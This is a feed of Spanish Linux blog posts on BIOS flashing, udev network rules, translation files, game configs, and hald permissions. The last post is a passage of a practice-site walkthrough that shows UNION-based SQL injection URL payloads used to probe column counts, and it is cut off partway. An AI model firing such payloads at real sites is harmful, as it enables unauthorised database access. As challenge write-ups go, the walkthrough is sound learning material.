scheme='http://www.blogger.com/atom/ns#' term='amd64X2'/><category scheme='http://www.blogger.com/atom/ns#' term='amd64'/><title type='text'>Actualizacion de la bios de Asus A8NSLI-Deluxe</title><content type='html'>El otro dia recibi porfin mi super microprocesador nuevo AMDX2, socket 939 para que fuera compatible con mi placa.&lt;br /&gt;&lt;br /&gt;Apaque el ordenador, saque el antiguo y puse el nuevo. Arranque cruzando los dedos y lo hizo, vi que no tenia soporte para powernow/cool'n'quiet, lo cual me extraño porque leyendome las especificaciones del micro nuevo vi que tenia esa funcionalidad... Haciendo un cat /proc/cpuinfo vi que no reconocia bien el micro, asi que me imagine, que me hacia falta una actualizacion de bios.&lt;br /&gt;&lt;br /&gt;Me meto en asus.com, me bajo la ultima actualizacion y me encuentro en el dilema de siempre al actualizar una bios. No tengo disketera y me toca los webos tener que tostar un dvd por 500 kb, asi que investigo a ver si hay algo para linux para flashear bios. Logicamente en asus no tienen nada, solo para güindous...&lt;br /&gt;&lt;br /&gt;Despues de buscar un poco encontre &lt;a href="http://debianizado.net/index.php/2007/07/16/flasheando-la-bios-desde-gnulinux/"&gt;esto&lt;/a&gt;, se trata de una utilidad que se creo para flashear las bios del proyecto &lt;a href="http://linuxbios.org/Welcome_to_LinuxBIOS"&gt;LinuxBIOS&lt;/a&gt; pero que supuestamente funciona tambien para BIOS propietarias, la forma de usar la aplicacion es muy &lt;a href="http://linuxbios.org/Flashrom#Usage"&gt;sencilla&lt;/a&gt; y &lt;a href="http://linuxbios.org/Flashrom#Supported_mainboards"&gt;aqui&lt;/a&gt; tienes una lista de las placas oficialmente testeadas por si te animas ha usarla, pero antes te recomendaria que siguieras leyendo para que veas lo que me paso a mi con la placa A8N-SLI Deluxe.&lt;br /&gt;&lt;br /&gt;Bueno el caso es que me lei el wiki del proyecto flashrom y no tiene mucho misterio, en la lista de placas testeadas oficialmente no estaba la mia, ni en las que tenian el visto bueno ni en las que cascaban, pero habia un modelo superior, A8N-SLI Premium ... Bueno pues me arme de valor, me agarre los machos y me dispuse a ello.&lt;br /&gt;&lt;br /&gt;1) Lo instale manualmente :&lt;br /&gt;&lt;br /&gt;&lt;code&gt;$ svn co svn://linuxbios.org/repos/trunk/util/flashrom&lt;br /&gt;$ cd flashrom&lt;br /&gt;$ make&lt;br /&gt;$ sudo make install&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;2) Hice un backup de la bios actual&lt;br /&gt;&lt;br /&gt;&lt;code&gt;$ flashrom -r backup.bin&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Hasta aqui todo perfecto...&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;3) Flashee la nueva BIOS&lt;br /&gt;&lt;br /&gt;&lt;code&gt;$ flashrom -wv backup.bin&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Error al comprobar la nueva bios.... ufff una gota de sudor frio recorre mi espalda... voy a volver a poner el backup que esto me da mala espina&lt;br /&gt;&lt;br /&gt;&lt;code&gt;$ flashrom -wv 1805.BIN&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Error al comrpobar la nueva bios.... Bueno... a lo mejor no comprueba correctamente la bios pero esta bien programada.... Vuelvo a meter la nueva y pienso... vamos ha hacer un backup de la nueva y un diff a ver si son iguales el backup de la nueva de la nueva bajada de asus... si lo son imagino que esta bien programada.&lt;br /&gt;&lt;br /&gt;&lt;code&gt;flashrom -wv 1805.BIN&lt;br /&gt;flashrom -wv backup-nueva.bin&lt;br /&gt;diff 1805.BIN backup-nueva.bin&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Los archivos son distintos.... Bueno tampoco tenia porque demostrar nada... A lo mejor el backup es distinto de una imagen nueva antes de flashearla... ¿Me arriesgo y reinicio?&lt;br /&gt;&lt;br /&gt;... Logicamente, ya sin BIOS en mi placa, hice lo que suelo hacer siempre, cagarme en todo lo cagable y despues ponerme a llorar como una madalena.&lt;br /&gt;&lt;br /&gt;Cuando reiniciaba me salia un mensaje de meter cd o diskete para arrancar, meti un dvd de gparted live que tengo para ver si podia de alguna forma flashearla again pero no arrancaba, buscaba un archivo que te viene en la descarga de la actualizacion de la BIOS AWDFLASH.EXE. Cree un DVD con estos dos archivos (AWDFLASH.EXE, 1805.BIN) desde otro ordenador y ya arranque flasheo la BIOS correctamente y todo parecia "funcionar" de nuevo... Ya con el soporte para AMDX2... pero.... aqui no acaba la historia...&lt;br /&gt;&lt;br /&gt;El Ordenador desde donde estoy haciendo todo esto, es mi ordenador principal de casa que hace de firewall nateo y mil pijotadas mas, tiene 2 tarjetas de red, la principal que sale a internet, eth1 y la que va a la red local eth2... pos bien, no me reconocia eth1... Como usuario de Güindous (en mi jornada laboral) le eche la culpa al sistema... me mire de arriba abajo el kernel los modulos de red, meti incluso nuevos modulos... despues de estar dandole vueltas y cabreado me fui a dormir.&lt;br /&gt;&lt;br /&gt;Al dia siguiente mas tranquilo pense en lo que habia hecho. He flasheado una BIOS, el sistema tiene que estar bien, no he tocado el sistema, asi que o se ha jodido la tarjeta de red, al poner el micro o la BIOS se lo ha cargado...&lt;br /&gt;&lt;br /&gt;Empece a mirar dmesg mas tranquilamente, los lspci, los modulos cargados y el udev. ¡BINGO! Tenia una nueva tarjeta eth3, ¿que habia pasado? el flasheo habia cambiado la MAC de la tarjeta principal, en las reglas del udev tenia algo asi :&lt;br /&gt;&lt;br /&gt;&lt;code&gt;cat /etc/udev/rules.d/70-persistent-net.rules&lt;br /&gt;# Firewire device 0011d800002ace6e)&lt;br /&gt;SUBSYSTEM=="net", DRIVERS=="?*", ATTRS{address}=="00:11:d8:00:00:2a:ce:6e", NAME="eth0"&lt;br /&gt;&lt;br /&gt;# PCI device 0x11ab:0x4320 (skge)&lt;br /&gt;SUBSYSTEM=="net", DRIVERS=="?*", ATTRS{address}=="00:11:d8:d9:c6:d5", NAME="eth2"&lt;br /&gt;&lt;br /&gt;# PCI device 0x10de:0x0057 (forcedeth)&lt;br /&gt;SUBSYSTEM=="net", DRIVERS=="?*", ATTRS{address}=="00:11:d8:e5:b6:b8", NAME="eth1"&lt;br /&gt;&lt;br /&gt;# PCI device 0x10de:0x0057 (forcedeth)&lt;br /&gt;SUBSYSTEM=="net", DRIVERS=="?*", ATTR{address}=="04:4b:80:80:80:30", NAME="eth3"&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Si os fijais hay dos dispositivos practicamente identicos en el eth1 y eth3 la unica diferencia es la MAC.... Modifique el archivo dejandolo asi&lt;br /&gt;&lt;br /&gt;&lt;code&gt;nano -w /etc/udev/rules.d/70-persistent-net.rules&lt;br /&gt;# Firewire device 0011d800002ace6e)&lt;br /&gt;SUBSYSTEM=="net", DRIVERS=="?*", ATTRS{address}=="00:11:d8:00:00:2a:ce:6e", NAME="eth0"&lt;br /&gt;&lt;br /&gt;# PCI device 0x11ab:0x4320 (skge)&lt;br /&gt;SUBSYSTEM=="net", DRIVERS=="?*", ATTRS{address}=="00:11:d8:d9:c6:d5", NAME="eth2"&lt;br /&gt;&lt;br /&gt;## # PCI device 0x10de:0x0057 (forcedeth)&lt;br /&gt;## SUBSYSTEM=="net", DRIVERS=="?*", ATTRS{address}=="00:11:d8:e5:b6:b8", NAME="eth1"&lt;br /&gt;&lt;br /&gt;# PCI device 0x10de:0x0057 (forcedeth)&lt;br /&gt;SUBSYSTEM=="net", DRIVERS=="?*", ATTR{address}=="04:4b:80:80:80:30", NAME="eth1"&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Para mas INRI mi proveedor de internet solo me deja conectarme con una mac-address por lo que no me dejaba conectar, me acorde de mis andanzas con la funcion preup() en el /etc/conf.d/net he hice el cambio manual de mac justo antes de arrancar la red&lt;br /&gt;&lt;br /&gt;&lt;code&gt;preup()&lt;br /&gt;{&lt;br /&gt;  ifconfig eth1 hw ether 00:11:d8:e5:b6:b8&lt;br /&gt;}&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Ya contento y al tener todo funcionando me dispuse a jugar al etqw :D&lt;br /&gt;&lt;br /&gt;Bueno, a todo esto lo unico que cambie fue en el /etc/make.conf MAKEOPTS="-j3" :D&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34978680-2318196179474639381?l=finkalinux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://finkalinux.blogspot.com/feeds/2318196179474639381/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34978680&amp;postID=2318196179474639381' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34978680/posts/default/2318196179474639381'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34978680/posts/default/2318196179474639381'/><link rel='alternate' type='text/html' href='http://finkalinux.blogspot.com/2007/11/actualizando-la-a8n-sli-deluxe-de.html' title='Actualizacion de la bios de Asus A8NSLI-Deluxe'/><author><name>moz667</name><uri>http://www.blogger.com/profile/16205397846816665132</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://photos1.blogger.com/blogger/7396/558/400/avatar-20060902.0.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34978680.post-8868747254091541986</id><published>2007-10-15T12:50:00.003+02:00</published><updated>2008-06-16T18:25:52.091+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='wordpress'/><category scheme='http://www.blogger.com/atom/ns#' term='traducciones'/><category scheme='http://www.blogger.com/atom/ns#' term='bbpress'/><category scheme='http://www.blogger.com/atom/ns#' term='php'/><title type='text'>Archivos po y mo para Wordpress 2.3 y BBPress</title><content type='html'>Hace unos dias tenia que entregar un proyecto que constaba de un wordpress con un bbpress integrado, con la mala suerte, de que si integras los dos y quieres ponerlos en castellano tienes que añadir al archivo .mo de wordpress las traducciones (ya algo obsoletas) de bbpress.&lt;br /&gt;&lt;br /&gt;La verda es que habia visto muchas veces estos archivos pero no tenia npi de como funcionaban, como se editaban ni generaban.&lt;br /&gt;&lt;br /&gt;Buscando por internete descubri un maravilloso editor, &lt;a href="http://www.poedit.net/"&gt;poedit&lt;/a&gt;, que te edita estos archivos y genera los .mo necesarios para las traducciones.&lt;br /&gt;&lt;br /&gt;Cogi los dos .po de las traducciones de wp y bbpress y los mezcle a manubrio con el gedit. Despues de solventar unos 112 errores por duplicidad (tambien a manubrio borrando las duplicadas... :P), seleccione la carpeta donde tenia el proyecto con el wp y bbpress para que me actualizara el contenido de el archivo .po, ya solo queda traducir los nuevos terminos y corregir alguno viejo que no me convencia su traduccion.&lt;br /&gt;&lt;br /&gt;El resultado lo podeis descargar de &lt;a href="http://code.google.com/p/wordpress-bbpress-es/downloads/list"&gt;aqui&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;El proyecto que he creado en code.google no lo voy a mantener asiduamente, solo ire actualizando con las necesidades que vaya viendo... me encantaria poderlo haber traducido completamente pero estoy algo liao :P si alguien se anima no tiene mas que contactar conmigo.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34978680-8868747254091541986?l=finkalinux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://finkalinux.blogspot.com/feeds/8868747254091541986/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34978680&amp;postID=8868747254091541986' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34978680/posts/default/8868747254091541986'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34978680/posts/default/8868747254091541986'/><link rel='alternate' type='text/html' href='http://finkalinux.blogspot.com/2007/10/archivos-po-y-mo-hace-unos-dias-tenia.html' title='Archivos po y mo para Wordpress 2.3 y BBPress'/><author><name>moz667</name><uri>http://www.blogger.com/profile/16205397846816665132</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://photos1.blogger.com/blogger/7396/558/400/avatar-20060902.0.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34978680.post-7440241737336255839</id><published>2007-10-14T23:59:00.001+02:00</published><updated>2008-06-16T18:26:45.546+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='panoramica'/><category scheme='http://www.blogger.com/atom/ns#' term='juegos'/><category scheme='http://www.blogger.com/atom/ns#' term='quake3'/><title type='text'>Quake3, ET, Doom3, Quake4, ... etc y pantallas panoramica</title><content type='html'>Todos estos juegos tienen soporte, lo que pasa que por defecto te sacan solo configuraciones para 4:3 . Para activar tienes que modificar el archivo de configuracion en tu directorio home ...&lt;br /&gt;&lt;br /&gt;&lt;code&gt;.doom3/base/DoomConfig.cfg &lt;br /&gt;.q3a/baseq3/q3config.cfg&lt;br /&gt;... etc&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;y establecer los siguientes valores&lt;br /&gt;&lt;br /&gt;&lt;code&gt;// Activar resoluciones personalizadas&lt;br /&gt;seta r_mode "-1" &lt;br /&gt;// ancho&lt;br /&gt;seta r_customwidth "1920"&lt;br /&gt;// alto&lt;br /&gt;seta r_customheight "1200"&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Algunos ejemplos de resoluciones (lo he dicho bien bpk? :D)&lt;br /&gt;&lt;br /&gt;16:9&lt;br /&gt;852x480&lt;br /&gt;1280x720&lt;br /&gt;1365x768&lt;br /&gt;&lt;br /&gt;16:10 (Este es el de nuestro portatil bpk y palomo :D)&lt;br /&gt;1440x900&lt;br /&gt;1680x1050&lt;br /&gt;1920x1200&lt;br /&gt;&lt;br /&gt;4:3&lt;br /&gt;320x240&lt;br /&gt;2048x1535&lt;br /&gt;&lt;br /&gt;&lt;a href="http://doom.freakygaming.com/pc/action/doom_3/tutorials/running_doom_3_in_widescreen.html"&gt;Basicamente es una traduccion de aqui :: Origen&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;NOTA : Una cosa a tener en cuenta antes de que os volvais locos, es posible que la resolucion se haya aplicado, pese a que en la configuracion de video del juego no lo veais. Para saberlo con certeza hay que jugar. Tambien es posible que si cambiais algo de la config de video desde el propio juego tengais que editar de nuevo el archivo y ponerle lo antes mencionado, aunque esto ultimo es una hipotesis....&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34978680-7440241737336255839?l=finkalinux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://finkalinux.blogspot.com/feeds/7440241737336255839/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34978680&amp;postID=7440241737336255839' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34978680/posts/default/7440241737336255839'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34978680/posts/default/7440241737336255839'/><link rel='alternate' type='text/html' href='http://finkalinux.blogspot.com/2007/10/quake3-et-doom3-quake4.html' title='Quake3, ET, Doom3, Quake4, ... etc y pantallas panoramica'/><author><name>moz667</name><uri>http://www.blogger.com/profile/16205397846816665132</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://photos1.blogger.com/blogger/7396/558/400/avatar-20060902.0.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34978680.post-8783911736787448126</id><published>2007-10-10T07:41:00.001+02:00</published><updated>2008-06-16T18:27:23.548+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='pando'/><category scheme='http://www.blogger.com/atom/ns#' term='gentoo'/><category scheme='http://www.blogger.com/atom/ns#' term='64bb (64 bits bugs)'/><category scheme='http://www.blogger.com/atom/ns#' term='p2p'/><category scheme='http://www.blogger.com/atom/ns#' term='amd64'/><title type='text'>Pando en gentoo@amd64</title><content type='html'>Queria probar como iba el tema de reproduccion HD en pando y me instale el cliente de desacargas de pando&lt;br /&gt;&lt;br /&gt;&lt;code&gt;emerge -va pandodl&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;resultado : masked by: missing keyword&lt;br /&gt;&lt;br /&gt;&lt;code&gt;echo "net-p2p/pandodl ~* *" &amp;gt;&amp;gt; /etc/portage/package.keywords&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;volvemos a instalar&lt;br /&gt;&lt;br /&gt;&lt;code&gt;emerge -va pandodl&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Ahora instala, pero al ejecutar pandodl, no encuentra la libreria libexpat.so.1&lt;br /&gt;&lt;br /&gt;Para solucionar esto tenemos que instalar el paquete app-emulation/emul-linux-x86-baselibs y hacer un link de la libreria de 32bits libexpat.so.0 al directorio de pando/libs&lt;br /&gt;&lt;br /&gt;&lt;code&gt;ln -s /usr/lib32/libexpat.so.0 /opt/pandodl/lib/libexpat.so.1&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Bien, conseguido..., me bajo el primer archivo pando y resulta que las versiones 1.7 o posteriores de archivos .pando no funcionan en linux :(&lt;br /&gt;&lt;br /&gt;En fin... me parece que tendremos que esperar.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.pando.com/phpbb/viewtopic.php?t=5994"&gt;Pando 1.7 packages can't be downloaded with Pando Linux!&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.juanluperez.com/index.php/2007/06/07/pando-en-gentoo-con-amd64/"&gt;Pando en Gentoo con AMD64&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.pando.com/phpbb/viewtopic.php?t=4051"&gt;Inital Feedback&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34978680-8783911736787448126?l=finkalinux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://finkalinux.blogspot.com/feeds/8783911736787448126/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34978680&amp;postID=8783911736787448126' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34978680/posts/default/8783911736787448126'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34978680/posts/default/8783911736787448126'/><link rel='alternate' type='text/html' href='http://finkalinux.blogspot.com/2007/10/pando-en-gentooamd64-queria-probar-como.html' title='Pando en gentoo@amd64'/><author><name>moz667</name><uri>http://www.blogger.com/profile/16205397846816665132</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://photos1.blogger.com/blogger/7396/558/400/avatar-20060902.0.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34978680.post-5653974117587174472</id><published>2007-10-04T08:38:00.001+02:00</published><updated>2008-06-16T18:27:58.081+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='gentoo'/><category scheme='http://www.blogger.com/atom/ns#' term='hal'/><category scheme='http://www.blogger.com/atom/ns#' term='64bb (64 bits bugs)'/><category scheme='http://www.blogger.com/atom/ns#' term='amd64'/><title type='text'>Problemas con hald en gentoo@amd64</title><content type='html'>Desde hace tiempo y con un maravilloso emerge -va world me dejo de funcionar el hal, el problema que me escupia en el /var/log/messages era el siguiente :&lt;br /&gt;&lt;br /&gt;&lt;code&gt;[E] hald_dbus.c:5086: dbus_bus_get(): Failed to connect to socket /usr/local/var/run/dbus/system_bus_socket: No such file or directory&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;...y al poco tiempo despues...&lt;br /&gt;&lt;br /&gt;&lt;code&gt;[E] hald_dbus.c:5086: dbus_bus_get(): Failed to connect to socket /usr/local/var/run/dbus/system_bus_socket: Connection refused&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Buscando por internet encontre la forma de solucionar este "bug" que solo me ocurre para amd64 ya que en x86 parece correr dpm. Hacer un link desde /var/run/dbus/system_bus_socket a /usr/local/var/run/dbus/system_bus_socket&lt;br /&gt;&lt;br /&gt;&lt;code&gt;ln -s /usr/local/var/run/dbus/system_bus_socket /var/run/dbus/system_bus_socket&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Con esto ya parece funcionar de nuevo.... pues no, me reconoce nuevos dispositivos pero no me los monta debido a problemas de permisos. Inicio una session como root y efectivamente, funciona dpm&lt;br /&gt;&lt;br /&gt;Despues de dar permisos a distintos grupos a mi usuario sin ningun resultado, borre los mismos y volvi a buscar de nuevo en internet. Un chavalin con fedora explicaba como dar permisos a un usuario para el tema de auto-montaje con hal y era editando el archivo  /etc/dbus-1/system.d/hal.conf&lt;br /&gt;&lt;br /&gt;En este mismo hay un apartado para los permisos de root (id = 0)&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&amp;nbsp;&amp;nbsp;&amp;lt;!-- You can change this to a more suitable user, or make per-group --&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;lt;policy user="0"&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;allow send_interface="org.freedesktop.Hal.Device.SystemPowerManagement"/&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;allow send_interface="org.freedesktop.Hal.Device.VideoAdapterPM"/&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;allow send_interface="org.freedesktop.Hal.Device.LaptopPanel"/&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;allow send_interface="org.freedesktop.Hal.Device.Volume"/&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;allow send_interface="org.freedesktop.Hal.Device.Volume.Crypto"/&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;lt;/policy&amp;gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Y tal como comenta el mismo se pueden dar permisos por grupo o por usuario, como yo solo tengo un usuario :P lo hice por usuario (si solo tienes un usuario o usas el primer usuario que creaste tu id sera 1000), añadiendo este codigo que sigue justo despues de lo anterior ya damos permisos a nuestro usuario 1000&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&amp;nbsp;&amp;nbsp;&amp;lt;!-- usuario X --&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;lt;policy user="1000"&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;allow send_interface="org.freedesktop.Hal.Device.SystemPowerManagement"/&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;allow send_interface="org.freedesktop.Hal.Device.VideoAdapterPM"/&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;allow send_interface="org.freedesktop.Hal.Device.LaptopPanel"/&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;allow send_interface="org.freedesktop.Hal.Device.Volume"/&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;allow send_interface="org.freedesktop.Hal.Device.Volume.Crypto"/&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;lt;/policy&amp;gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Reiniciamos hald y ya se monta todo automaticamente :D&lt;br /&gt;&lt;br /&gt;Salud3!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34978680-5653974117587174472?l=finkalinux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://finkalinux.blogspot.com/feeds/5653974117587174472/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34978680&amp;postID=5653974117587174472' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34978680/posts/default/5653974117587174472'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34978680/posts/default/5653974117587174472'/><link rel='alternate' type='text/html' href='http://finkalinux.blogspot.com/2007/10/problemas-con-hald-en-gentooamd64-desde.html' title='Problemas con hald en gentoo@amd64'/><author><name>moz667</name><uri>http://www.blogger.com/profile/16205397846816665132</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://photos1.blogger.com/blogger/7396/558/400/avatar-20060902.0.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34978680.post-4347831219980110691</id><published>2007-10-02T09:08:00.000+02:00</published><updated>2007-10-02T18:05:40.437+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='sql'/><category scheme='http://www.blogger.com/atom/ns#' term='bases de datos'/><category scheme='http://www.blogger.com/atom/ns#' term='inyecciones sql'/><title type='text'></title><content type='html'>&lt;h1&gt;Ejemplo práctico de inyección SQL con UNION&lt;/h1&gt;&lt;br /&gt;&lt;br /&gt;El siguiente texto es una especie de cuaderno de bitácora de mi compi de curro - y de otras cosas que no voy a decir - Sponge Bob.&lt;br /&gt;Es un spoiler total de una de las pruebas de &lt;a href="http://www.hackthissite.org/"&gt;http://www.hackthissite.org/&lt;/a&gt;, pero se ha cambiado la URL para que las arañitas de google no les sirvan en bandeja la solución a la gente que está haciendo las pruebas.&lt;br /&gt;&lt;br /&gt;Sponge Bob dixit:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Esta misión ya se realizó en su momento, por lo parte de las acciones que realizo tienen como origen cosas que recuerdo que hice en su momento.&lt;br /&gt;&lt;br /&gt;En primer lugar, recuerdo que products.php era sensible a injecciones SQL, usando un UNION.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.hacking.org/missions/products.php?category=2+union+select+1"&gt;http://www.hacking.org/missions/products.php?category=2+union+select+1&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;        La siguiente injección me devuelve una única entrada sin información, cuando la categoría '2' contiene 3 productos. La consulta que se debe hacer en products.php debe ser algo del estilo&lt;br /&gt;                &lt;code&gt;SELECT * FROM products WHERE category = 2&lt;/code&gt;&lt;br /&gt;        Dicha consulta deberá retornar X elementos y para que el código que injerto tenga éxito deberá retornar el mismo número de elemento.&lt;br /&gt;&lt;br /&gt;Probemos....&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.hacking.org/missions/products.php?category=2+union+select+1,2"&gt;http://www.hacking.org/missions/products.php?category=2+union+select+1,2&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;        Mismo resultado.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.hacking.org/missions/products.php?category=2+union+select+1,2,3"&gt;http://www.hacking.org/missions/products.php?category=2+union+select+1,2,3&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;        Mismo resultado.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.hacking.org/missions/products.php?category=2+union+select+1,2,3,4"&gt;http://www.hacking.org/missions/products.php?category=2+union+select+1,2,3,4&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;        Bien. Aquí ya se devuelve 4 entradas, posiblemente los 3 productos en el resultado de mi injerto. Sin embargo no aparece ningún tipo de información, fotos, precios, descripción. Es posible que a mi injerto le falte algún tipo de información. La sentencia SQL original podría ser algo así...&lt;br /&gt;                &lt;code&gt;SELECT id, price, description, picture FROM products WHERE category = 2&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Por si acaso, también probamos con el siguiente injerto&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.hacking.org/missions/products.php?category=2+union+select+1,2,3,4,5"&gt;http://www.hacking.org/missions/products.php?category=2+union+select+1,2,3,4,5&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;        En este caso, se vuelve a mostrar una única entrada, lo cuál parece reforzar el hecho de que la sentencia SQL devuelve 4 campos.&lt;br /&gt;&lt;br /&gt;Suponiendo que la sentencia SQL original sea utilizada no por posición, sino por nombre (con el módulo de PHP MDB2 por ejemplo cuando se extraen los resultados puedes indicar que sea por columna: MDB2_FETCHMODE_ORDERED, por nombre: MDB2_FETCHMODE_ASSOC, o por objeto: MDB2_FETCHMODE_OBJECT) y presuponiendo que uno de los campos usado sea el campo clave (al cual normalmente se le llama id) ejecutamos la siguiente sentencia...&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.hacking.org/missions/products.php?category=2+union+select+1+as+id,2,3,4,5"&gt;http://www.hacking.org/missions/products.php?category=2+union+select+1+as+id,2,3,4,5&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;        Mmmmm, ¡han aparecido las fotos! Lo cual nos indica lo siguiente:&lt;br /&gt;                * Si miramos en el código html vemos que el nombre de la cada foto está relacionado con el 'id'. Así la foto 1.jpg está relacionada con el producto con id 1.&lt;br /&gt;&lt;br /&gt;                        &lt;a href="http://www.hacking.org/missions/1.jpg"&gt;http://www.hacking.org/missions/1.jpg&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;                * Si un campo en el injerto no tiene asignado nombre provoca que el campo en la sentencia original que ocupe el mismo puesto pierde su nombre de columna provocando que no aparezca la información correspodiente. Por ejemplo, con la siguiente sentencia&lt;br /&gt;&lt;br /&gt;                        &lt;a 